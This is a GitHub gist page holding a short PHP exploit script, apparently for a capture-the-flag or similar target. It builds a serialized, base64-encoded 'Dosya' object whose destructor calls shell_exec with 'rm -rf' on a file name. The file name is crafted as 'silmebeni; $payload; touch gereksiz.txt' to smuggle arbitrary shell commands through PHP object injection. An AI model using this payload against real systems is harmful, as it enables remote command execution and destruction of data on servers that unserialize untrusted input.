Skip to content

Instantly share code, notes, and snippets.

@RKursatV
Created May 11, 2020 16:41
Show Gist options
  • Save RKursatV/91b5d631fc5b8a064188b7a38451f199 to your computer and use it in GitHub Desktop.
Save RKursatV/91b5d631fc5b8a064188b7a38451f199 to your computer and use it in GitHub Desktop.
<?php
class Dosya {
public $files = "";
function __destruct() {
$dosya = explode(".",strtolower($this->files));
if(end($dosya) === "txt"){
$ac = file($this->files);
if($ac[0] === trim("istekler")){
}else {
shell_exec("rm -rf ".$this->files);
}
}else {
}
}
function set_files($name) {
$this->files = $name;
}
function result(){
return file($this->files);
}
}
$payload = file_get_contents("./payload");
$a = new Dosya();
$a->set_files("silmebeni; $payload; touch gereksiz.txt");
echo base64_encode(serialize($a));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment